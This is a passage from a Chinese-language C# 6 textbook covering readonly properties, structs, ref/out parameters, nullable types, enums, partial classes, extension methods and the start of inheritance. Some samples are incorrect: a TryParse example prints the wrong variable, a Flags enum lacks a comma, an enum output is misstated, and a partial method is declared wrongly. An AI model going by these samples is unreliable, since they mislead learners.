例构造函数中初始化它。例如,假定编辑的每个文档都有一个创建日期,但不允许用户修 改它(因为这会覆盖过去的日期)。 如前所述,日期用基类System.DateTime表示。下面的代码在构造函数中使用 DateTime结构初始化_creationTime字段。初始化Document类后,创建时间就不能改变了: public class Document { private readonly DateTime _creationTime; public Document() { _creationTime = DateTime.Now; } } 在上面的代码段中,CreationDate和MaxDocuments的处理方式与任何其他字段相同, 但因为它们是只读的,所以不能在构造函数外部赋值: void SomeMethod() { s_maxDocuments = 10; // compilation error here. MaxDocuments is readonly } 还要注意,在构造函数中不必给只读字段赋值。如果没有赋值,它的值就是其特定数 据类型的默认值,或者在声明时给它初始化的值。这适用于只读的静态字段和实例字段。 1.只读属性 在属性定义中省略set访问器,就可以创建只读属性。因此,如下代码把Name变成只 读属性: private readonly string _name; public string Name { get { return _name; } } 用readonly修饰符声明字段,只允许在构造函数中初始化属性的值。 同样,在属性定义中省略get访问器,就可以创建只写属性。但是,这是不好的编程 方式,因为这可能会使客户端代码的作者感到迷惑。一般情况下,如果要这么做,最好使 用一个方法替代。 2.自动实现的只读属性 C# 6提供了一个简单的语法,使用自动实现的属性创建只读属性,访问只读字段。这 些属性可以使用属性初始化器来初始化。 public string Id { get; } = Guid.NewGuid().ToString(); 在后台,编译器会创建一个只读字段和一个属性,其get访问器可以访问这个字段。 初始化器的代码进入构造函数的实现代码,并在调用构造函数体之前调用。 当然,只读属性也可以在构造函数中初始化,如下面的代码片段所示: public class Person { public Person(string name) { Name = name; } public string Name { get; } } 3.表达式体属性 C# 6中与属性相关的另一个扩展是表达式体属性。类似于表达式体方法,表达式体属 性不需要花括号和返回语句。表达式体属性是带有get访问器的属性,但不需要编写get关 键字。只是get访问器的实现后跟lambda操作符。对于Person类,FullName属性使用表达式 体属性实现,通过该属性返回FirstName和LastName属性值的组合: public class Person { public Person(string firstName, string lastName) { FirstName = firstName; LastName = lastName; } public string FirstName { get; } public string LastName { get; } public string FullName => $"{FirstName} {LastName}"; } 4.不可变的类型 如果类型包含可以改变的成员,它就是一个可变的类型。使用readonly修饰符,编译 器会在状态改变时报错。状态只能在构造函数中初始化。如果对象没有任何可以改变的成 员,只有只读成员,它就是一个不可变类型。其内容只能在初始化时设置。这对于多线程 是非常有用的,因为多个线程可以访问信息永远不会改变的同一个对象。因为内容不能改 变,所以不需要同步。 不可变类型的一个例子是String类。这个类没有定义任何允许改变其内容的成员。诸 如ToUpper(把字符串更改为大写)的方法总是返回一个新的字符串,但传递到构造函数 的原始字符串保持不变。 3.4 匿名类型 第2章讨论了var关键字,它用于表示隐式类型化的变量。var与new关键字一起使用 时,可以创建匿名类型。匿名类型只是一个继承自Object且没有名称的类。该类的定义从 初始化器中推断,类似于隐式类型化的变量。 如果需要一个对象包含某个人的姓氏、中间名和名字,则声明如下: var captain = new { FirstName = "James", MiddleName = "T", LastName = "Kirk" }; 这会生成一个包含FirstName、MiddleName和LastName属性的对象。如果创建另一个 对象,如下所示: var doctor = new { FirstName = "Leonard", MiddleName = string.Empty, LastName = "McCoy" }; 那么captain和doctor的类型就相同。例如,可以设置captain = doctor。只有所有属性都 匹配,才能设置captain = doctor。 如果所设置的值来自于另一个对象,就可以简化初始化器。如果已经有一个包含 FirstName、MiddleName和LastName属性的类,且有该类的一个实例(person), captain对 象就可以初始化为: var captain = new { person.FirstName, person.MiddleName, person.LastName }; person对象的属性名应投射到新对象名captain,所以captain对象应有FirstName、 MiddleName和LastName属性。 这些新对象的类型名未知。编译器为类型“伪造”了一个名称,但只有编译器才能使用 它。我们不能也不应使用新对象上的任何类型反射,因为这不会得到一致的结果。 3.5 结构 前面介绍了类如何封装程序中的对象,也介绍了如何将它们存储在堆中,通过这种方 式可以在数据的生存期上获得很大的灵活性,但性能会有一定的损失。因为托管堆的优 化,这种性能损失比较小。但是,有时仅需要一个小的数据结构。此时,类提供的功能多 于我们需要的功能,由于性能原因,最好使用结构。看看下面的例子: public class Dimensions { public double Length { get; set; } public double Width { get; set; } } 上面的代码定义了类Dimensions,它只存储了某一项的长度和宽度。假定编写一个布 置家具的程序,让人们试着在计算机上重新布置家具,并存储每件家具的尺寸。表面看来 使字段变为公共字段会违背编程规则,但这里的关键是我们实际上并不需要类的全部功 能。现在只有两个数字,把它们当成一对来处理,要比单个处理方便一些。既不需要很多 方法,也不需要从类中继承,也不希望.NET运行库在堆中遇到麻烦和性能问题,只需要 存储两个double类型的数据即可。 为此,只需要修改代码,用关键字struct代替class,定义一个结构而不是类,如本章 前面所述: public struct Dimensions { public double Length { get; set; } public double Width { get; set; } } 为结构定义函数与为类定义函数完全相同。下面的代码说明了结构的构造函数和属性 (代码文件StructsSample/Dimension.cs): public struct Dimensions { public double Length { get; set; } public double Width { get; set; } public Dimensions(double length, double width) { Length = length; Width = width; } public double Diagonal => Math.Sqrt(Length * Length + Width * Width); } 结构是值类型,不是引用类型。它们存储在栈中或存储为内联(如果它们是存储在堆 中的另一个对象的一部分),其生存期的限制与简单的数据类型一样。 ● 结构不支持继承。 ● 对于结构,构造函数的工作方式有一些区别。如果没有提供默认的构造函数,编译 器会自动提供一个,把成员初始化为其默认值。 ● 使用结构,可以指定字段如何在内存中布局(第16章在介绍特性时将详细论述这个 问题)。 因为结构实际上是把数据项组合在一起,所以有时大多数或者全部字段都声明为 public。严格来说,这与编写.NET代码的规则相反——根据Microsoft,字段(除了const字 段之外)应总是私有的,并由公有属性封装。但是,对于简单的结构,许多开发人员都认 为公有字段是可接受的编程方式。 下面几节将详细说明类和结构之间的区别。 3.5.1 结构是值类型 虽然结构是值类型,但在语法上常常可以把它们当作类来处理。例如,在上面的 Dimensions类的定义中,可以编写下面的代码: var point = new Dimensions(); point.Length = 3; point.Width = 6; 注意,因为结构是值类型,所以new运算符与类和其他引用类型的工作方式不同。 new运算符并不分配堆中的内存,而是只调用相应的构造函数,根据传送给它的参数,初 始化所有的字段。对于结构,可以编写下述完全合法的代码: Dimensions point; point.Length = 3; point.Width = 6; 如果Dimensions是一个类,就会产生一个编译错误,因为point包含一个未初始化的引 用——不指向任何地方的一个地址,所以不能给其字段设置值。但对于结构,变量声明实 际上是为整个结构在栈中分配空间,所以就可以为它赋值了。但要注意下面的代码会产生 一个编译错误,编译器会抱怨用户使用了未初始化的变量: Dimensions point; double D = point.Length; 结构遵循其他数据类型都遵循的规则:在使用前所有的元素都必须进行初始化。在结 构上调用new运算符,或者给所有的字段分别赋值,结构就完全初始化了。当然,如果结 构定义为类的成员字段,在初始化包含的对象时,该结构会自动初始化为0。 结构会影响性能的值类型,但根据使用结构的方式,这种影响可能是正面的,也可能 是负面的。正面的影响是为结构分配内存时,速度非常快,因为它们将内联或者保存在栈 中。在结构超出了作用域被删除时,速度也很快,不需要等待垃圾回收。负面影响是,只 要把结构作为参数来传递或者把一个结构赋予另一个结构(如A=B,其中A和B是结 构),结构的所有内容就被复制,而对于类,则只复制引用。这样就会有性能损失,根据 结构的大小,性能损失也不同。注意,结构主要用于小的数据结构。 但当把结构作为参数传递给方法时,应把它作为ref参数传递,以避免性能损失—— 此时只传递了结构在内存中的地址,这样传递速度就与在类中的传递速度一样快了。但如 果这样做,就必须注意被调用的方法可以改变结构的值。 3.5.2 结构和继承 结构不是为继承设计的。这意味着:它不能从一个结构中继承。唯一的例外是对应的 结构(和C#中的其他类型一样)最终派生于类System.Object。因此,结构也可以访问 System.Object的方法。在结构中,甚至可以重写System.Object中的方法——如重写 ToString()方法。结构的继承链是:每个结构派生自System.ValueType类, System.ValueType类又派生自System.Object。ValueType并没有给Object添加任何新成员, 但提供了一些更适合结构的实现方式。注意,不能为结构提供其他基类:每个结构都派生 自ValueType。 3.5.3 结构的构造函数 为结构定义构造函数的方式与为类定义构造函数的方式相同。 前面说过,默认构造函数把数值字段都初始化为0,且总是隐式地给出,即使提供了 其他带参数的构造函数,也是如此。 在C# 6中,也可以实现默认的构造函数,为字段提供初始值(这一点在早期的C#版 本中未实现)。为此,只需要初始化每个数据成员: public Dimensions() { Length = 0; Width = 1; } public Dimensions(double length, double width) { Length = length; Width = width; } 另外,可以像类那样为结构提供Close()或Dispose()方法。第5章将讨论 Dispose()方法。 3.6 按值和按引用传递参数 假设有一个类型A,它有一个int类型的属性X。ChangeA方法接收类型A的参数,把X 的值改为2(代码文件PassingByValueAndByReference / Program.cs): public static void ChangeA(A a) { a.X = 2; } Main()方法创建类型A的实例,把X初始化为1,调用ChangeA方法: static void Main() { A a1 = new A { X = 1 }; ChangeA(a1); WriteLine($"a1.X: {a1.X}"); } 输出是什么?1还是2? 答案视情况而定。需要知道A是一个类还是结构。下面先假定A是结构: public struct A { public int X { get; set; } } 结构按值传递,通过按值传递,ChangeA方法中的变量a得到堆栈中变量a1的一个副 本。在方法ChangeA的最后修改、销毁副本。a1的内容从不改变,一直是1。 A作为一个类时,是完全不同的: public class A { public int X { get; set; } } 类按引用传递。这样,a变量把堆上的同一个对象引用为变量a1。当ChangeA修改a的 X属性值时,把它改为a1.X,因为它是同一个对象。这里,结果是2。 3.6.1 ref参数 也可以通过引用传递结构。如果A是结构类型,就添加ref修饰符,修改ChangeA方法 的声明,通过引用传递变量: public static void ChangeA(ref A a) { a.X = 2; } 从调用端也可以看出这一点,所以给方法参数应用了ref修饰符后,在调用方法时需 要添加它: static void Main() { A a1 = new A { X = 1 }; ChangeA(ref a1); WriteLine($"a1.X: {a1.X}"); } 现在,与类类型一样,结构也按引用传递,所以结果是2。 类类型如何使用ref修饰符?下面修改ChangeA方法的实现: public static void ChangeA(A a ) { a.X = 2; a = new A { X = 3 }; } 使用A类型的类,可以预期什么结果?当然,Main()方法的结果不是1,因为按引 用传递是通过类类型实现的。a.X设置为2,就改变了原始对象a1。然而,下一行a = new A { X = 3 }现在在堆上创建一个新对象,和一个对新对象的引用。Main()方法中使用的 变量a1仍然引用值为2的旧对象。ChangeA方法结束后,没有引用堆上的新对象,可以回 收它。所以这里的结果是2。 把A作为类类型,使用ref修饰符,传递对引用的引用(在C++术语中,是一个指向指 针的指针),它允许分配一个新对象,Main()方法显示了结果3: public static void ChangeA(ref A a) { a.X = 2; a = new A { X = 3 }; } 最后,一定要理解,C#对传递给方法的参数继续应用初始化要求。任何变量传递给 方法之前,必须初始化,无论是按值还是按引用传递。 3.6.2 out参数 如果方法返回一个值,该方法通常声明返回类型,并返回结果。如果方法返回多个 值,可能类型还不同,该怎么办?这有不同的选项。一个选项是声明类和结构,把应该返 回的所有信息都定义为该类型的成员。另一个选项是使用元组类型。第三个选项是使用 out关键字。 下面的例子使用通过Int32类型定义的Parse方法。ReadLine方法获取用户输入的字符 串。假设用户输入一个数字,int.Parse方法把它转换为字符串,并返回该数字(代码文件 OutKeywordSample /Program.cs): string input1 = ReadLine(); int n = int.Parse(input1); WriteLine($"n: {n}"); 然而,用户并不总是输入希望他们输入的数据。如果用户没有输入数字,就会抛出一 个异常。当然,可以捕获异常,并相应地处理用户,但“正常”情况不这么做。也许可以认 为,“正常”情况就是用户输入了错误的数据。处理异常参见第14章。 要处理类型错误的数据,更好的方法是使用Int32类型的另一个方法:TryParse。 TryParse声明为无论解析成功与否,都返回一个bool类型。解析的结果(如果成功)是使 用out修饰符返回一个参数: public static bool TryParse(string s, out int result); 调用这个方法,result变量需要在调用这个方法之前定义。使用out参数,变量不需要 预先初始化,变量在方法中初始化。类似于ref关键字,out关键字也需要在调用方法时提 供,而不仅仅在声明方法时提供: string input2 = ReadLine(); int result; if (int.TryParse(input2, out result) ) { WriteLine($"n: {n}"); } else { WriteLine("not a number"); } 3.7 可空类型 引用类型(类)的变量可以为空,而值类型(结构)的变量不能。在一些情况下,这 可能是一个问题,如把C#类型映射到数据库或XML类型。数据库或XML数量可以为空, 而int或double不能为空。 处理这个冲突的一个方法是使用映射到数据库数字类型的类(这由Java实现)。使用 引用类型,映射到允许空值的数据库数字,有一个重要的缺点:它带来了额外的开销。对 于引用类型,需要垃圾收集器进行清理。值类型不需要用垃圾收集器清理;变量超出作用 域时,从内存中删除。 C#有一个解决方案:可空类型。可空类型是可以为空的值类型。可空类型只需要在 类型的后面添加“?”(它必须是结构)。与基本结构相比,值类型唯一的开销是一个可以 确定它是否为空的布尔成员。 在下面的代码片段中,x1是一个普通的int, x2是一个可以为空的int。因为x2是可以为 空的int,所以可以把null分配给x2: int x1 = 1; int? x2 = null; 因为int值可以分配给int?,所以给int?传递一个int变量总是会成功,编译器会接受 它: int? x3 = x1; 反过来是不正确的。int?不能直接分配给int。这可能失败,因此需要一个类型转 换: int x4 = (int)x3; 当然,如果x3是null,类型转换操作就会生成一个异常。更好的方法是使用可空类型 的HasValue和Value属性。HasValue返回true或false,这取决于可空类型是否有值,Value 返回底层的值。使用条件操作符填充x5,不会抛出异常。如果x3是null, HasValue就返回 false,这里给变量x5提供-1: int x5 = x3.HasValue ? x3.Value : -1; 使用合并操作符,可空类型可以使用较短的语法。如果x3是null,则用变量x6给它设 置-1,否则提取x3的值: int x6 = x3 ?? -1;  注意: 对于可空类型,可以使用能用于基本类型的所有可用操作符,例如, 可用于int?的+、-、*、/等。每个结构类型都可以使用可空类型,而不仅是预定义的C# 类型。 3.8 枚举 枚举是一个值类型,包含一组命名的常量,如这里的Color类型。枚举类型用enum关 键字定义(代码文件EnumSample/Color. cs): public enum Color { Red, Green, Blue } 可以声明枚举类型的变量,如变量c1,用枚举类型的名称作为前缀,设置一个命名常 量,来赋予枚举中的一个值(代码文件EnumSample/Program.cs): Color c1 = Color.Red; WriteLine(c1); 运行程序,控制台输出显示Red,这是枚举的常量值。 默认情况下,enum的类型是int。这个基本类型可以改为其他整数类型(byte、short、 int、带符号的long和无符号变量)。命名常量的值从0开始递增,但它们可以改为其他 值: public enum Color : short { Red = 1, Green = 2, Blue = 3 } 使用强制类型转换可以把数字改为枚举值,把枚举值改为数字。 Color c2 = (Color)2; short number = (short)c2; 还可以使用enum类型把多个选项分配给一个变量,而不仅仅是一个枚举常量。为 此,分配给常量的值必须是不同的位,Flags属性需要用枚举设置。 枚举类型DaysOfWeek为每天定义了不同的值。要设置不同的位,可以使用用0x前缀 指定的十六进制值轻松地完成,Flags属性是编译器创建值的另一个字符串表示的信息, 例如给DaysOfWeek的一个变量设置值3,结果是Monday,如果使用Flags属性,结果就是 Tuesday(代码文件EnumSample/ DaysOfWeek.cs): [Flags] public enum DaysOfWeek { Monday = 0x1, Tuesday = 0x2, Wednesday = 0x4, Thursday = 0x8, Friday = 0x10, Saturday = 0x20, Sunday = 0x40 } 有了这个枚举声明,就可以使用逻辑或运算符为一个变量指定多个值(代码文件 EnumSample /Program.cs): DaysOfWeek mondayAndWednesday = DaysOfWeek.Monday | DaysOfWeek.Wednesday; WriteLine(mondayAndWednesday); 运行程序,输出日期的字符串表示: Monday, Tuesday 设置不同的位,也可以结合单个位来包括多个值,如Weekend的值0x60是用逻辑或运 算符结合了Saturday和Sunday。Workday则结合了从Monday到Friday的所有日子,AllWeek 用逻辑或运算符结合了Workday和Weekend (代码文件EnumSample / DaysOfWeek.cs): [Flags] public enum DaysOfWeek { Monday = 0x1, Tuesday = 0x2, Wednesday = 0x4, Thursday = 0x8, Friday = 0x10, Saturday = 0x20, Sunday = 0x40, Weekend = Saturday | Sunday Workday = 0x1f, AllWeek = Workday | Weekend } 有了这些代码,就可以把DaysOfWeek.Weekend直接分配给变量,指定用逻辑或运算 符结合DaysOfWeek.Saturday和DaysOfWeek.Sunday的单个值,也可以得到相同的结果。输 出会显示Weekend的字符串表示。 DaysOfWeek weekend = DaysOfWeek.Saturday | DaysOfWeek.Sunday; WriteLine(weekend); 使用枚举,类Enum有时非常有助于动态获得枚举类型的信息。枚举提供了方法来解 析字符串,获得相应的枚举常数,获得枚举类型的所有名称和值。 下面的代码片段使用字符串和Enum.TryParse来获得相应的Color值(代码文件 EnumSample/Program.cs): Color red; if (Enum.TryParse<Color>("Red", out red)) { WriteLine($"successfully parsed {red}"); }  注意: Enum.TryParse <T>()是一个泛型方法,其中T是泛型参数类型。这 个参数类型需要用方法调用定义。 Enum.GetNames方法返回一个包含所有枚举名的字符串数组: foreach (var day in Enum.GetNames(typeof(Color))) { WriteLine(day); } 运行应用程序,输出如下: Red Green Blue 为了获得枚举的所有值,可以使用方法Enum.GetValues。Enum.GetValues返回枚举值 的一个数组。为了获得整数值,需要把它转换为枚举的底层类型,为此应使用foreach语 句: foreach (short val in Enum.GetValues(typeof(Color)) ) { WriteLine(val); } 3.9 部分类 partial关键字允许把类、结构、方法或接口放在多个文件中。一般情况下,某种类型 的代码生成器生成了一个类的某部分,所以把类放在多个文件中是有益的。假定要给类添 加一些从工具中自动生成的内容。如果重新运行该工具,前面所做的修改就会丢失。 partial关键字有助于把类分开放在两个文件中,而对不由代码生成器定义的文件进行修 改。 partial关键字的用法是:把partial放在class、struct或interface关键字的前面。在下面的 例子中,SampleClass类驻留在两个不同的源文件SampleClassAutogenerated.cs和 SampleClass.cs中: //SampleClassAutogenerated.cs partial class SampleClass { public void MethodOne() { } } //SampleClass.cs partial class SampleClass { public void MethodTwo() { } } 编译包含这两个源文件的项目时,会创建一个SampleClass类,它有两个方法 MethodOne()和MethodTwo()。 如果声明类时使用了下面的关键字,则这些关键字就必须应用于同一个类的所有部 分: ● public ● private ● protected ● internal ● abstract ● sealed ● new ● 一般约束 在嵌套的类型中,只要partial关键字位于class关键字的前面,就可以嵌套部分类。在 把部分类编译到类型中时,属性、XML注释、接口、泛型类型的参数属性和成员会合 并。有如下两个源文件: // SampleClassAutogenerated.cs [CustomAttribute] partial class SampleClass: SampleBaseClass, ISampleClass { public void MethodOne() { } } // SampleClass.cs [AnotherAttribute] partial class SampleClass: IOtherSampleClass { public void MethodTwo() { } } 编译后,等价的源文件变成: [CustomAttribute] [AnotherAttribute] partial class SampleClass: SampleBaseClass, ISampleClass, IOtherSampleClass { public void MethodOne() { } public void MethodTwo() { } }  注意: 尽管partial关键字很容易创建跨多个文件的巨大的类,且不同的开发 人员处理同一个类的不同文件,但该关键字并不用于这个目的。在这种情况下,最好 把大类拆分成几个小类,一个类只用于一个目的。 部分类可以包含部分方法。如果生成的代码应该调用可能不存在的方法,这就是非常 有用的。扩展部分类的程序员可以决定创建部分方法的自定义实现代码,或者什么也不 做。下面的代码片段包含一个部分类,其方法MethodOne调用APartialMethod方法。 APartialMethod方法用partial关键字声明;因此不需要任何实现代码。如果没有实现代码, 编译器将删除这个方法调用: //SampleClassAutogenerated.cs partial class SampleClass { public void MethodOne() { APartialMethod(); } public partial void APartialMethod(); } 部分方法的实现可以放在部分类的任何其他地方,如下面的代码片段所示。有了这个 方法,编译器就在MethodOne内创建代码,调用这里声明的APartialMethod: // SampleClass.cs partial class SampleClass: IOtherSampleClass { public void APartialMethod() { // implementation of APartialMethod } } 部分方法必须是void类型,否则编译器在没有实现代码的情况下无法删除调用。 3.10 扩展方法 有许多扩展类的方式。继承就是给对象添加功能的好方法。扩展方法是给对象添加功 能的另一个选项,在不能使用继承时,也可以使用这个选项(例如类是密封的)。  注意: 扩展方法也可以用于扩展接口。这样,实现该接口的所有类就有了公 共功能。 扩展方法是静态方法,它是类的一部分,但实际上没有放在类的源代码中。 假设希望用一个方法扩展string类型,该方法计算字符串中的单词数。GetWordCount 方法利用String.Split方法把字符串分割到字符串数组中,使用Length属性计算数组中元素 的个数(代码文件ExtensionMethods / Program.cs): public static class StringExtension { public static int GetWordCount(this string s) => s.Split().Length; } 使用this关键字和第一个参数来扩展字符串。这个关键字定义了要扩展的类型。 即使扩展方法是静态的,也要使用标准的实例方法语法。注意,这里使用fox变量而 没有使用类型名来调用GetWordCount ()。 string fox = "the quick brown fox jumped over the lazy dogs down " + "9876543210 times"; int wordCount = fox.GetWordCount(); WriteLine($"{wordCount} words"); 在后台,编译器把它改为调用静态方法: int wordCount = StringExtension.GetWordCount(fox); 使用实例方法的语法,而不是从代码中直接调用静态方法,会得到一个好得多的语 法。这个语法还有一个好处:该方法的实现可以用另一个类取代,而不需要更改代码—— 只需要运行新的编译器。 编译器如何找到某个类型的扩展方法?this关键字必须匹配类型的扩展方法,而且需 要打开定义扩展方法的静态类所在的名称空间。如果把StringExtensions类放在名称空间 Wrox. Extensions中,则只有用using指令打开Wrox.Extensions,编译器才能找到 GetWordCount方法。如果类型还定义了同名的实例方法,扩展方法就永远不会使用。类 中已有的任何实例方法都优先。当多个同名的扩展方法扩展相同的类型,打开所有这些类 型的名称空间时,编译器会产生一个错误,指出调用是模棱两可的,它不能决定在多个实 现代码中选择哪个。然而,如果调用代码在一个名称空间中,这个名称空间就优先。  注意: 语言集成查询(Language Integrated Query, LINQ)利用了许多扩展方 法。 3.11 Object类 前面提到,所有的.NET类最终都派生自System.Object。实际上,如果在定义类时没 有指定基类,编译器就会自动假定这个类派生自Object。本章没有使用继承,所以前面介 绍的每个类都派生自System.Object(如前所述,对于结构,这个派生是间接的:结构总是 派生自System.ValueType, System.ValueType又派生自System.Object)。 其实际意义在于,除了自己定义的方法和属性等外,还可以访问为Object类定义的许 多公有的和受保护的成员方法。这些方法可用于自己定义的所有其他类中。 下面将简要总结每个方法的作用: ● ToString()方法: 是获取对象的字符串表示的一种便捷方式。当只需要快速获 取对象的内容,以进行调试时,就可以使用这个方法。在数据的格式化方面,它 几乎没有提供选择:例如,在原则上日期可以表示为许多不同的格式,但 DateTime.ToString()没有在这方面提供任何选择。如果需要更复杂的字符串表 示,例如,考虑用户的格式化首选项或区域性,就应实现IFormattable接口。 ● GetHashCode()方法: 如果对象放在名为映射(也称为散列表或字典)的数据 结构中,就可以使用这个方法。处理这些结构的类使用该方法确定把对象放在结 构的什么地方。如果希望把类用作字典的一个键,就需要重写GetHashCode() 方法。实现该方法重载的方式有一些相当严格的限制,这些将在第11章介绍字典 时讨论。 ● Equals()(两个版本)和ReferenceEquals()方法: 注意有3个用于比较对象 相等性的不同方法,这说明.NET Framework在比较相等性方面有相当复杂的模 式。这3个方法和比较运算符“==”在使用方式上有微妙的区别。而且,在重写带 一个参数的虚Equals()方法时也有一些限制,因为System.Collections名称空间中 的一些基类要调用该方法,并希望它以特定的方式执行。第8章在介绍运算符时将 探讨这些方法的使用。 ● Finalize()方法: 第5章将介绍这个方法,它最接近C++风格的析构函数,在引用 对象作为垃圾被回收以清理资源时调用它。Object中实现的Finalize()方法实际 上什么也没有做,因而被垃圾回收器忽略。如果对象拥有对未托管资源的引用, 则在该对象被删除时,就需要删除这些引用,此时一般要重写Finalize()。垃圾 收集器不能直接删除这些对未托管资源的引用,因为它只负责托管的资源,于是 它只能依赖用户提供的Finalize()。 ● GetType()方法: 这个方法返回从System.Type派生的类的一个实例,因此可以 提供对象成员所属类的更多信息,包括基本类型、方法、属性等。System.Type还 提供了.NET的反射技术的入口点。这个主题详见第16章。 ● MemberwiseClone()方法: 这是System.Object中唯一没有在本书的其他地方详 细论述的方法。不需要讨论这个方法,因为它在概念上相当简单,它只复制对 象,并返回对副本的一个引用(对于值类型,就是一个装箱的引用)。注意,得 到的副本是一个浅表复制,即它复制了类中的所有值类型。如果类包含内嵌的引 用,就只复制引用,而不复制引用的对象。这个方法是受保护的,所以不能用于 复制外部的对象。该方法不是虚方法,所以不能重写它的实现代码。 3.12 小结 本章介绍了C#中声明和处理对象的语法,论述了如何声明静态和实例字段、属性、 方法和构造函数。还讨论了C# 6中新增的特性。例如,表达式体方法和属性、自动实现的 只读属性、结构的默认构造函数。 我们还阐述了C#中的所有类型最终都派生自类System.Object,这说明所有的类型都 开始于一组基本的实用方法,包括ToString()。 本章多次提到了继承,第4章将介绍C#中的实现(implementation)继承和接口继承。 第4章 继承 本章要点 ● 继承的类型 ● 实现继承 ● 访问修饰符 ● 接口 ● Is和as运算符 本章源代码下载地址(wrox.com): 打开网页http://www.wrox.com/go/professionalcsharp6,单击Download Code选项卡即可 下载本章源代码。本章代码分为以下几个主要的示例文件: ● VirtualMethods ● InheritanceWithConstructors ● UsingInterfaces 4.1 继承 面向对象的三个最重要的概念是继承、封装和多态性。第3章谈到如何创建单独的 类,来安排属性、方法和字段。当某类型的成员声明为private时,它们就不能从外部访 问。它们封装在类型中。本章的重点是继承和多态性。 第3章提到,所有类最终都派生于System.Object。本章介绍如何创建类的层次结构, 多态性如何应用于C#,还描述与继承相关的所有C#关键字。 4.2 继承的类型 首先介绍一些面向对象(Object-Oriented, OO)术语,看看C#在继承方面支持和不支 持的功能。 ● 单重继承: 表示一个类可以派生自一个基类。C#就采用这种继承。 ● 多重继承: 多重继承允许一个类派生自多个类。C#不支持类的多重继承,但允许 接口的多重继承。 ● 多层继承: 多层继承允许继承有更大的层次结构。类B派生自类A,类C又派生自 类B。 其中,类B也称为中间基类,C#支持它,也很常用。 ● 接口继承: 定义了接口的继承。这里允许多重继承。接口和接口继承参见本章后 面的“接口”一节。 下面讨论继承和C#的某些特定问题。 4.2.1 多重继承 一些语言(如C++)支持所谓的“多重继承”,即一个类派生自多个类。对于实现继 承,多重继承会给生成的代码增加复杂性,还会带来一些开销。因此,C#的设计人员决 定不支持类的多重继承,因为支持多重继承会增加复杂性,还会带来一些开销。 而C#又允许类型派生自多个接口。一个类型可以实现多个接口。这说明,C#类可以 派生自另一个类和任意多个接口。更准确地说,因为System.Object是一个公共的基类,所 以每个C#类(除了Object类之外)都有一个基类,还可以有任意多个基接口。 4.2.2 结构和类 第3章区分了结构(值类型)和类(引用类型)。使用结构的一个限制是结构不支持 继承,但每个结构都自动派生自System.ValueType。不能编码实现结构的类型层次,但结 构可以实现接口。换言之,结构并不支持实现继承,但支持接口继承。定义的结构和类可 以总结为: ● 结构总是派生自System.ValueType,它们还可以派生自任意多个接口。 ● 类总是派生自System.Object或用户选择的另一个类,它们还可以派生自任意多个接 口。 4.3 实现继承 如果要声明派生自另一个类的一个类,就可以使用下面的语法: class MyDerivedClass: MyBaseClass { // members } 如果类(或结构)也派生自接口,则用逗号分隔列表中的基类和接口: public class MyDerivedClass: MyBaseClass, IInterface1, IInterface2 { // members }  如果类和接口都用于派生,则类总是必须放在接口的前面。 对于结构,语法如下(只能用于接口继承): public struct MyDerivedStruct: IInterface1, IInterface2 { // members } 如果在类定义中没有指定基类,C#编译器就假定System.Object是基类。因此,派生 自Object类(或使用object关键字),与不定义基类的效果是相同的。 class MyClass // implicitly derives from System.Object { // members } 下面的例子定义了基类Shape。无论是矩形还是椭圆,形状都有一些共同点:形状都 有位置和大小。定义相应的类时,位置和大小应包含在Shape类中。Shape类定义了只读属 性Position和Shape,它们使用自动属性初始化器来初始化(代码文件VirtualMethods /Shape.cs): public class Position { public int X { get; set; } public int Y { get; set; } } public class Size { public int Width { get; set; } public int Height { get; set; } } public class Shape { public Position Position { get; } = new Position(); public Size Size { get; } = new Size(); } 4.3.1 虚方法 把一个基类方法声明为virtual,就可以在任何派生类中重写该方法: public class Shape { public virtual void Draw() { WriteLine($"Shape with {Position} and {Size}"); } } 如果实现代码只有一行,在C# 6中,也可以把virtual关键字和表达式体的方法(使用 lambda运算符)一起使用。这个语法可以独立于修饰符,单独使用: public class Shape { public virtual void Draw() => WriteLine($"Shape with {Position} and {Size}"); } 也可以把属性声明为virtual。对于虚属性或重写属性,语法与非虚属性相同,但要在 定义中添加关键字virtual,其语法如下所示: public virtual Size Size { get; set; } 当然,也可以给虚属性使用完整的属性语法: private Size _size; public virtual Size Size { get { return _size; } set { _size = value; } } 为了简单起见,下面的讨论将主要集中于方法,但其规则也适用于属性。 C#中虚函数的概念与标准OOP的概念相同:可以在派生类中重写虚函数。在调用方 法时,会调用该类对象的合适方法。在C#中,函数在默认情况下不是虚拟的,但(除了 构造函数以外)可以显式地声明为virtual。这遵循C++的方式,即从性能的角度来看,除 非显式指定,否则函数就不是虚拟的。而在Java中,所有的函数都是虚拟的。但C#的语法 与C++的语法不同,因为C#要求在派生类的函数重写另一个函数时,要使用override关键 字显式声明(代码文件VirtualMethods/Concrete-Shapes.cs): public class Rectangle : Shape { public override void Draw() => WriteLine($"Rectangle with {Position} and {Size}"); } 重写方法的语法避免了C++中很容易发生的潜在运行错误:当派生类的方法签名无意 中与基类版本略有差别时,该方法就不能重写基类的方法。在C#中,这会出现一个编译 错误,因为编译器会认为函数已标记为override,但没有重写其基类的方法。 Size和Position类型重写了ToString()方法。这个方法在基类Object中声明为virtual: public class Position { public int X { get; set; } public int Y { get; set; } public override string ToString() => $"X: {X}, Y: {Y}"; } public class Size { public int Width { get; set; } public int Height { get; set; } public override string ToString() => $"Width: {Width}, Height: {Height}"; }  注意: 基类Object的成员参见第3章。  注意: 重写基类的方法时,签名(所有参数类型和方法名)和返回类型必须 完全匹配。否则,以后创建的新成员就不覆盖基类成员。 在Main()方法中,实例化的矩形r,初始化其属性,调用其方法Draw()(代码文 件VirtualMethods/ Program.cs): var r = new Rectangle(); r.Position.X = 33; r.Position.Y = 22; r.Size.Width = 200; r.Size.Height = 100; r.Draw(); 运行程序,查看Draw()方法的输出: Rectangle with X: 33, y: 22 and Width: 200, Height: 100 成员字段和静态函数都不能声明为virtual,因为这个概念只对类中的实例函数成员有 意义。 4.3.2 多态性 使用多态性,可以动态地定义调用的方法,而不是在编译期间定义。编译器创建一个 虚拟方法表(vtable),其中列出了可以在运行期间调用的方法,它根据运行期间的类型 调用方法。 在下面的例子中,DrawShape()方法接收一个Shape参数,并调用Shape类的 Draw()方法(代码文件VirtualMethods/Program.cs): public static void DrawShape(Shape shape) { shape.Draw(); } 使用之前创建的矩形调用方法。尽管方法声明为接收一个Shape对象,但任何派生 Shape的类型(包括Rectangle)都可以传递给这个方法: DrawShape(r); 运行这个程序,查看Rectangle.Draw方法()而不是Shape.Draw()方法的输出。输 出行从Rectangle开始。如果基类的方法不是虚拟方法或没有重写派生类的方法,就使用所 声明对象(Shape)的类型的Draw()方法,因此输出从Shape开始: Rectangle 